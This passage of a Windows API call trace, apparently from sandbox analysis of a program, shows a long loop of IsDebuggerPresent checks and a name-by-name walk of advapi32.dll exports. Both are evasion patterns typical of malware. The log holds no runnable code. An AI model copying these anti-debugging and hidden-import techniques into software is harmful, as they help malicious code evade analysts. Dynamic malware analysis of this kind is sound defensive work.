(lpModuleName="kernel32.dll") returned 0x75e90000 [0047.316] IsDebuggerPresent () returned 0 [0047.316] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.317] IsDebuggerPresent () returned 0 [0047.317] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.317] IsDebuggerPresent () returned 0 [0047.317] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.317] IsDebuggerPresent () returned 0 [0047.317] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.317] IsDebuggerPresent () returned 0 [0047.317] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.318] IsDebuggerPresent () returned 0 [0047.318] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.318] IsDebuggerPresent () returned 0 [0047.318] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.318] IsDebuggerPresent () returned 0 [0047.318] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.319] IsDebuggerPresent () returned 0 [0047.319] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.319] IsDebuggerPresent () returned 0 [0047.319] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.319] IsDebuggerPresent () returned 0 [0047.319] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.319] IsDebuggerPresent () returned 0 [0047.320] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.320] IsDebuggerPresent () returned 0 [0047.320] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.320] IsDebuggerPresent () returned 0 [0047.320] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.320] IsDebuggerPresent () returned 0 [0047.320] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.321] IsDebuggerPresent () returned 0 [0047.321] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.321] IsDebuggerPresent () returned 0 [0047.321] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.321] IsDebuggerPresent () returned 0 [0047.321] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.321] IsDebuggerPresent () returned 0 [0047.322] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.322] IsDebuggerPresent () returned 0 [0047.322] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.322] IsDebuggerPresent () returned 0 [0047.322] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.322] IsDebuggerPresent () returned 0 [0047.322] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.323] IsDebuggerPresent () returned 0 [0047.323] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.323] IsDebuggerPresent () returned 0 [0047.323] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.323] IsDebuggerPresent () returned 0 [0047.323] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.323] IsDebuggerPresent () returned 0 [0047.324] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.324] IsDebuggerPresent () returned 0 [0047.324] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.324] IsDebuggerPresent () returned 0 [0047.324] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.324] IsDebuggerPresent () returned 0 [0047.324] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.325] IsDebuggerPresent () returned 0 [0047.430] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.430] IsDebuggerPresent () returned 0 [0047.430] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.430] IsDebuggerPresent () returned 0 [0047.430] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.430] IsDebuggerPresent () returned 0 [0047.430] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.431] IsDebuggerPresent () returned 0 [0047.431] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.431] IsDebuggerPresent () returned 0 [0047.431] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.431] IsDebuggerPresent () returned 0 [0047.431] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.432] IsDebuggerPresent () returned 0 [0047.432] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.432] IsDebuggerPresent () returned 0 [0047.432] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.432] IsDebuggerPresent () returned 0 [0047.432] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.433] IsDebuggerPresent () returned 0 [0047.433] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.433] IsDebuggerPresent () returned 0 [0047.433] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.433] IsDebuggerPresent () returned 0 [0047.434] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.434] IsDebuggerPresent () returned 0 [0047.434] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.434] IsDebuggerPresent () returned 0 [0047.434] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.434] IsDebuggerPresent () returned 0 [0047.435] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.435] IsDebuggerPresent () returned 0 [0047.435] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.435] IsDebuggerPresent () returned 0 [0047.435] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.435] IsDebuggerPresent () returned 0 [0047.436] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.437] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x190000 [0047.437] SetThreadExecutionState (esFlags=0x80000001) returned 0x80000000 [0047.439] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x590000 [0047.439] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x5a0000 [0047.439] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b0000 [0047.439] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x610000 [0047.440] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x620000 [0047.440] lstrlenA (lpString="advapi32.dll") returned 12 [0047.440] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0047.440] lstrcpyA (in: lpString1=0x21fe428, lpString2="A_SHAFinal" | out: lpString1="A_SHAFinal") returned="A_SHAFinal" [0047.440] lstrlenA (lpString="A_SHAFINAL") returned 10 [0047.440] lstrcpyA (in: lpString1=0x21fe428, lpString2="A_SHAInit" | out: lpString1="A_SHAInit") returned="A_SHAInit" [0047.440] lstrlenA (lpString="A_SHAINIT") returned 9 [0047.440] lstrcpyA (in: lpString1=0x21fe428, lpString2="A_SHAUpdate" | out: lpString1="A_SHAUpdate") returned="A_SHAUpdate" [0047.440] lstrlenA (lpString="A_SHAUPDATE") returned 11 [0047.440] lstrcpyA (in: lpString1=0x21fe428, lpString2="AbortSystemShutdownA" | out: lpString1="AbortSystemShutdownA") returned="AbortSystemShutdownA" [0047.440] lstrlenA (lpString="ABORTSYSTEMSHUTDOWNA") returned 20 [0047.440] lstrcpyA (in: lpString1=0x21fe428, lpString2="AbortSystemShutdownW" | out: lpString1="AbortSystemShutdownW") returned="AbortSystemShutdownW" [0047.440] lstrlenA (lpString="ABORTSYSTEMSHUTDOWNW") returned 20 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheck" | out: lpString1="AccessCheck") returned="AccessCheck" [0047.441] lstrlenA (lpString="ACCESSCHECK") returned 11 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckAndAuditAlarmA" | out: lpString1="AccessCheckAndAuditAlarmA") returned="AccessCheckAndAuditAlarmA" [0047.441] lstrlenA (lpString="ACCESSCHECKANDAUDITALARMA") returned 25 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckAndAuditAlarmW" | out: lpString1="AccessCheckAndAuditAlarmW") returned="AccessCheckAndAuditAlarmW" [0047.441] lstrlenA (lpString="ACCESSCHECKANDAUDITALARMW") returned 25 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckByType" | out: lpString1="AccessCheckByType") returned="AccessCheckByType" [0047.441] lstrlenA (lpString="ACCESSCHECKBYTYPE") returned 17 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckByTypeAndAuditAlarmA" | out: lpString1="AccessCheckByTypeAndAuditAlarmA") returned="AccessCheckByTypeAndAuditAlarmA" [0047.441] lstrlenA (lpString="ACCESSCHECKBYTYPEANDAUDITALARMA") returned 31 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckByTypeAndAuditAlarmW" | out: lpString1="AccessCheckByTypeAndAuditAlarmW") returned="AccessCheckByTypeAndAuditAlarmW" [0047.441] lstrlenA (lpString="ACCESSCHECKBYTYPEANDAUDITALARMW") returned 31 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckByTypeResultList" | out: lpString1="AccessCheckByTypeResultList") returned="AccessCheckByTypeResultList" [0047.441] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLIST") returned 27 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckByTypeResultListAndAuditAlarmA" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmA") returned="AccessCheckByTypeResultListAndAuditAlarmA" [0047.441] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMA") returned 41 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckByTypeResultListAndAuditAlarmByHandleA" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA") returned="AccessCheckByTypeResultListAndAuditAlarmByHandleA" [0047.441] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMBYHANDLEA") returned 49 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckByTypeResultListAndAuditAlarmByHandleW" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW") returned="AccessCheckByTypeResultListAndAuditAlarmByHandleW" [0047.441] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMBYHANDLEW") returned 49 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AccessCheckByTypeResultListAndAuditAlarmW" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmW") returned="AccessCheckByTypeResultListAndAuditAlarmW" [0047.441] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMW") returned 41 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAccessAllowedAce" | out: lpString1="AddAccessAllowedAce") returned="AddAccessAllowedAce" [0047.441] lstrlenA (lpString="ADDACCESSALLOWEDACE") returned 19 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAccessAllowedAceEx" | out: lpString1="AddAccessAllowedAceEx") returned="AddAccessAllowedAceEx" [0047.441] lstrlenA (lpString="ADDACCESSALLOWEDACEEX") returned 21 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAccessAllowedObjectAce" | out: lpString1="AddAccessAllowedObjectAce") returned="AddAccessAllowedObjectAce" [0047.441] lstrlenA (lpString="ADDACCESSALLOWEDOBJECTACE") returned 25 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAccessDeniedAce" | out: lpString1="AddAccessDeniedAce") returned="AddAccessDeniedAce" [0047.441] lstrlenA (lpString="ADDACCESSDENIEDACE") returned 18 [0047.441] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAccessDeniedAceEx" | out: lpString1="AddAccessDeniedAceEx") returned="AddAccessDeniedAceEx" [0047.442] lstrlenA (lpString="ADDACCESSDENIEDACEEX") returned 20 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAccessDeniedObjectAce" | out: lpString1="AddAccessDeniedObjectAce") returned="AddAccessDeniedObjectAce" [0047.442] lstrlenA (lpString="ADDACCESSDENIEDOBJECTACE") returned 24 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAce" | out: lpString1="AddAce") returned="AddAce" [0047.442] lstrlenA (lpString="ADDACE") returned 6 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAuditAccessAce" | out: lpString1="AddAuditAccessAce") returned="AddAuditAccessAce" [0047.442] lstrlenA (lpString="ADDAUDITACCESSACE") returned 17 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAuditAccessAceEx" | out: lpString1="AddAuditAccessAceEx") returned="AddAuditAccessAceEx" [0047.442] lstrlenA (lpString="ADDAUDITACCESSACEEX") returned 19 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddAuditAccessObjectAce" | out: lpString1="AddAuditAccessObjectAce") returned="AddAuditAccessObjectAce" [0047.442] lstrlenA (lpString="ADDAUDITACCESSOBJECTACE") returned 23 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddConditionalAce" | out: lpString1="AddConditionalAce") returned="AddConditionalAce" [0047.442] lstrlenA (lpString="ADDCONDITIONALACE") returned 17 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddMandatoryAce" | out: lpString1="AddMandatoryAce") returned="AddMandatoryAce" [0047.442] lstrlenA (lpString="ADDMANDATORYACE") returned 15 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddUsersToEncryptedFile" | out: lpString1="AddUsersToEncryptedFile") returned="AddUsersToEncryptedFile" [0047.442] lstrlenA (lpString="ADDUSERSTOENCRYPTEDFILE") returned 23 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AddUsersToEncryptedFileEx" | out: lpString1="AddUsersToEncryptedFileEx") returned="AddUsersToEncryptedFileEx" [0047.442] lstrlenA (lpString="ADDUSERSTOENCRYPTEDFILEEX") returned 25 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AdjustTokenGroups" | out: lpString1="AdjustTokenGroups") returned="AdjustTokenGroups" [0047.442] lstrlenA (lpString="ADJUSTTOKENGROUPS") returned 17 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AdjustTokenPrivileges" | out: lpString1="AdjustTokenPrivileges") returned="AdjustTokenPrivileges" [0047.442] lstrlenA (lpString="ADJUSTTOKENPRIVILEGES") returned 21 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AllocateAndInitializeSid" | out: lpString1="AllocateAndInitializeSid") returned="AllocateAndInitializeSid" [0047.442] lstrlenA (lpString="ALLOCATEANDINITIALIZESID") returned 24 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AllocateLocallyUniqueId" | out: lpString1="AllocateLocallyUniqueId") returned="AllocateLocallyUniqueId" [0047.442] lstrlenA (lpString="ALLOCATELOCALLYUNIQUEID") returned 23 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AreAllAccessesGranted" | out: lpString1="AreAllAccessesGranted") returned="AreAllAccessesGranted" [0047.442] lstrlenA (lpString="AREALLACCESSESGRANTED") returned 21 [0047.442] lstrcpyA (in: lpString1=0x21fe428, lpString2="AreAnyAccessesGranted" | out: lpString1="AreAnyAccessesGranted") returned="AreAnyAccessesGranted" [0047.442] lstrlenA (lpString="AREANYACCESSESGRANTED") returned 21 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditComputeEffectivePolicyBySid" | out: lpString1="AuditComputeEffectivePolicyBySid") returned="AuditComputeEffectivePolicyBySid" [0047.443] lstrlenA (lpString="AUDITCOMPUTEEFFECTIVEPOLICYBYSID") returned 32 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditComputeEffectivePolicyByToken" | out: lpString1="AuditComputeEffectivePolicyByToken") returned="AuditComputeEffectivePolicyByToken" [0047.443] lstrlenA (lpString="AUDITCOMPUTEEFFECTIVEPOLICYBYTOKEN") returned 34 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditEnumerateCategories" | out: lpString1="AuditEnumerateCategories") returned="AuditEnumerateCategories" [0047.443] lstrlenA (lpString="AUDITENUMERATECATEGORIES") returned 24 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditEnumeratePerUserPolicy" | out: lpString1="AuditEnumeratePerUserPolicy") returned="AuditEnumeratePerUserPolicy" [0047.443] lstrlenA (lpString="AUDITENUMERATEPERUSERPOLICY") returned 27 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditEnumerateSubCategories" | out: lpString1="AuditEnumerateSubCategories") returned="AuditEnumerateSubCategories" [0047.443] lstrlenA (lpString="AUDITENUMERATESUBCATEGORIES") returned 27 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditFree" | out: lpString1="AuditFree") returned="AuditFree" [0047.443] lstrlenA (lpString="AUDITFREE") returned 9 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditLookupCategoryGuidFromCategoryId" | out: lpString1="AuditLookupCategoryGuidFromCategoryId") returned="AuditLookupCategoryGuidFromCategoryId" [0047.443] lstrlenA (lpString="AUDITLOOKUPCATEGORYGUIDFROMCATEGORYID") returned 37 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditLookupCategoryIdFromCategoryGuid" | out: lpString1="AuditLookupCategoryIdFromCategoryGuid") returned="AuditLookupCategoryIdFromCategoryGuid" [0047.443] lstrlenA (lpString="AUDITLOOKUPCATEGORYIDFROMCATEGORYGUID") returned 37 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditLookupCategoryNameA" | out: lpString1="AuditLookupCategoryNameA") returned="AuditLookupCategoryNameA" [0047.443] lstrlenA (lpString="AUDITLOOKUPCATEGORYNAMEA") returned 24 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditLookupCategoryNameW" | out: lpString1="AuditLookupCategoryNameW") returned="AuditLookupCategoryNameW" [0047.443] lstrlenA (lpString="AUDITLOOKUPCATEGORYNAMEW") returned 24 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditLookupSubCategoryNameA" | out: lpString1="AuditLookupSubCategoryNameA") returned="AuditLookupSubCategoryNameA" [0047.443] lstrlenA (lpString="AUDITLOOKUPSUBCATEGORYNAMEA") returned 27 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditLookupSubCategoryNameW" | out: lpString1="AuditLookupSubCategoryNameW") returned="AuditLookupSubCategoryNameW" [0047.443] lstrlenA (lpString="AUDITLOOKUPSUBCATEGORYNAMEW") returned 27 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditQueryGlobalSaclA" | out: lpString1="AuditQueryGlobalSaclA") returned="AuditQueryGlobalSaclA" [0047.443] lstrlenA (lpString="AUDITQUERYGLOBALSACLA") returned 21 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditQueryGlobalSaclW" | out: lpString1="AuditQueryGlobalSaclW") returned="AuditQueryGlobalSaclW" [0047.443] lstrlenA (lpString="AUDITQUERYGLOBALSACLW") returned 21 [0047.443] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditQueryPerUserPolicy" | out: lpString1="AuditQueryPerUserPolicy") returned="AuditQueryPerUserPolicy" [0047.443] lstrlenA (lpString="AUDITQUERYPERUSERPOLICY") returned 23 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditQuerySecurity" | out: lpString1="AuditQuerySecurity") returned="AuditQuerySecurity" [0047.444] lstrlenA (lpString="AUDITQUERYSECURITY") returned 18 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditQuerySystemPolicy" | out: lpString1="AuditQuerySystemPolicy") returned="AuditQuerySystemPolicy" [0047.444] lstrlenA (lpString="AUDITQUERYSYSTEMPOLICY") returned 22 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditSetGlobalSaclA" | out: lpString1="AuditSetGlobalSaclA") returned="AuditSetGlobalSaclA" [0047.444] lstrlenA (lpString="AUDITSETGLOBALSACLA") returned 19 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditSetGlobalSaclW" | out: lpString1="AuditSetGlobalSaclW") returned="AuditSetGlobalSaclW" [0047.444] lstrlenA (lpString="AUDITSETGLOBALSACLW") returned 19 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditSetPerUserPolicy" | out: lpString1="AuditSetPerUserPolicy") returned="AuditSetPerUserPolicy" [0047.444] lstrlenA (lpString="AUDITSETPERUSERPOLICY") returned 21 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditSetSecurity" | out: lpString1="AuditSetSecurity") returned="AuditSetSecurity" [0047.444] lstrlenA (lpString="AUDITSETSECURITY") returned 16 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="AuditSetSystemPolicy" | out: lpString1="AuditSetSystemPolicy") returned="AuditSetSystemPolicy" [0047.444] lstrlenA (lpString="AUDITSETSYSTEMPOLICY") returned 20 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="BackupEventLogA" | out: lpString1="BackupEventLogA") returned="BackupEventLogA" [0047.444] lstrlenA (lpString="BACKUPEVENTLOGA") returned 15 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="BackupEventLogW" | out: lpString1="BackupEventLogW") returned="BackupEventLogW" [0047.444] lstrlenA (lpString="BACKUPEVENTLOGW") returned 15 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegCloseKey" | out: lpString1="BaseRegCloseKey") returned="BaseRegCloseKey" [0047.444] lstrlenA (lpString="BASEREGCLOSEKEY") returned 15 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegCreateKey" | out: lpString1="BaseRegCreateKey") returned="BaseRegCreateKey" [0047.444] lstrlenA (lpString="BASEREGCREATEKEY") returned 16 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegDeleteKeyEx" | out: lpString1="BaseRegDeleteKeyEx") returned="BaseRegDeleteKeyEx" [0047.444] lstrlenA (lpString="BASEREGDELETEKEYEX") returned 18 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegDeleteValue" | out: lpString1="BaseRegDeleteValue") returned="BaseRegDeleteValue" [0047.444] lstrlenA (lpString="BASEREGDELETEVALUE") returned 18 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegFlushKey" | out: lpString1="BaseRegFlushKey") returned="BaseRegFlushKey" [0047.444] lstrlenA (lpString="BASEREGFLUSHKEY") returned 15 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegGetVersion" | out: lpString1="BaseRegGetVersion") returned="BaseRegGetVersion" [0047.444] lstrlenA (lpString="BASEREGGETVERSION") returned 17 [0047.444] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegLoadKey" | out: lpString1="BaseRegLoadKey") returned="BaseRegLoadKey" [0047.444] lstrlenA (lpString="BASEREGLOADKEY") returned 14 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegOpenKey" | out: lpString1="BaseRegOpenKey") returned="BaseRegOpenKey" [0047.445] lstrlenA (lpString="BASEREGOPENKEY") returned 14 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegRestoreKey" | out: lpString1="BaseRegRestoreKey") returned="BaseRegRestoreKey" [0047.445] lstrlenA (lpString="BASEREGRESTOREKEY") returned 17 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegSaveKeyEx" | out: lpString1="BaseRegSaveKeyEx") returned="BaseRegSaveKeyEx" [0047.445] lstrlenA (lpString="BASEREGSAVEKEYEX") returned 16 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegSetKeySecurity" | out: lpString1="BaseRegSetKeySecurity") returned="BaseRegSetKeySecurity" [0047.445] lstrlenA (lpString="BASEREGSETKEYSECURITY") returned 21 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegSetValue" | out: lpString1="BaseRegSetValue") returned="BaseRegSetValue" [0047.445] lstrlenA (lpString="BASEREGSETVALUE") returned 15 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BaseRegUnLoadKey" | out: lpString1="BaseRegUnLoadKey") returned="BaseRegUnLoadKey" [0047.445] lstrlenA (lpString="BASEREGUNLOADKEY") returned 16 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildExplicitAccessWithNameA" | out: lpString1="BuildExplicitAccessWithNameA") returned="BuildExplicitAccessWithNameA" [0047.445] lstrlenA (lpString="BUILDEXPLICITACCESSWITHNAMEA") returned 28 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildExplicitAccessWithNameW" | out: lpString1="BuildExplicitAccessWithNameW") returned="BuildExplicitAccessWithNameW" [0047.445] lstrlenA (lpString="BUILDEXPLICITACCESSWITHNAMEW") returned 28 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildImpersonateExplicitAccessWithNameA" | out: lpString1="BuildImpersonateExplicitAccessWithNameA") returned="BuildImpersonateExplicitAccessWithNameA" [0047.445] lstrlenA (lpString="BUILDIMPERSONATEEXPLICITACCESSWITHNAMEA") returned 39 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildImpersonateExplicitAccessWithNameW" | out: lpString1="BuildImpersonateExplicitAccessWithNameW") returned="BuildImpersonateExplicitAccessWithNameW" [0047.445] lstrlenA (lpString="BUILDIMPERSONATEEXPLICITACCESSWITHNAMEW") returned 39 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildImpersonateTrusteeA" | out: lpString1="BuildImpersonateTrusteeA") returned="BuildImpersonateTrusteeA" [0047.445] lstrlenA (lpString="BUILDIMPERSONATETRUSTEEA") returned 24 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildImpersonateTrusteeW" | out: lpString1="BuildImpersonateTrusteeW") returned="BuildImpersonateTrusteeW" [0047.445] lstrlenA (lpString="BUILDIMPERSONATETRUSTEEW") returned 24 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildSecurityDescriptorA" | out: lpString1="BuildSecurityDescriptorA") returned="BuildSecurityDescriptorA" [0047.445] lstrlenA (lpString="BUILDSECURITYDESCRIPTORA") returned 24 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildSecurityDescriptorW" | out: lpString1="BuildSecurityDescriptorW") returned="BuildSecurityDescriptorW" [0047.445] lstrlenA (lpString="BUILDSECURITYDESCRIPTORW") returned 24 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildTrusteeWithNameA" | out: lpString1="BuildTrusteeWithNameA") returned="BuildTrusteeWithNameA" [0047.445] lstrlenA (lpString="BUILDTRUSTEEWITHNAMEA") returned 21 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildTrusteeWithNameW" | out: lpString1="BuildTrusteeWithNameW") returned="BuildTrusteeWithNameW" [0047.445] lstrlenA (lpString="BUILDTRUSTEEWITHNAMEW") returned 21 [0047.445] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildTrusteeWithObjectsAndNameA" | out: lpString1="BuildTrusteeWithObjectsAndNameA") returned="BuildTrusteeWithObjectsAndNameA" [0047.446] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDNAMEA") returned 31 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildTrusteeWithObjectsAndNameW" | out: lpString1="BuildTrusteeWithObjectsAndNameW") returned="BuildTrusteeWithObjectsAndNameW" [0047.446] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDNAMEW") returned 31 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildTrusteeWithObjectsAndSidA" | out: lpString1="BuildTrusteeWithObjectsAndSidA") returned="BuildTrusteeWithObjectsAndSidA" [0047.446] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDSIDA") returned 30 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildTrusteeWithObjectsAndSidW" | out: lpString1="BuildTrusteeWithObjectsAndSidW") returned="BuildTrusteeWithObjectsAndSidW" [0047.446] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDSIDW") returned 30 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildTrusteeWithSidA" | out: lpString1="BuildTrusteeWithSidA") returned="BuildTrusteeWithSidA" [0047.446] lstrlenA (lpString="BUILDTRUSTEEWITHSIDA") returned 20 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="BuildTrusteeWithSidW" | out: lpString1="BuildTrusteeWithSidW") returned="BuildTrusteeWithSidW" [0047.446] lstrlenA (lpString="BUILDTRUSTEEWITHSIDW") returned 20 [0047.446] lstrcpyA (in: lpString1=0x21fe428, 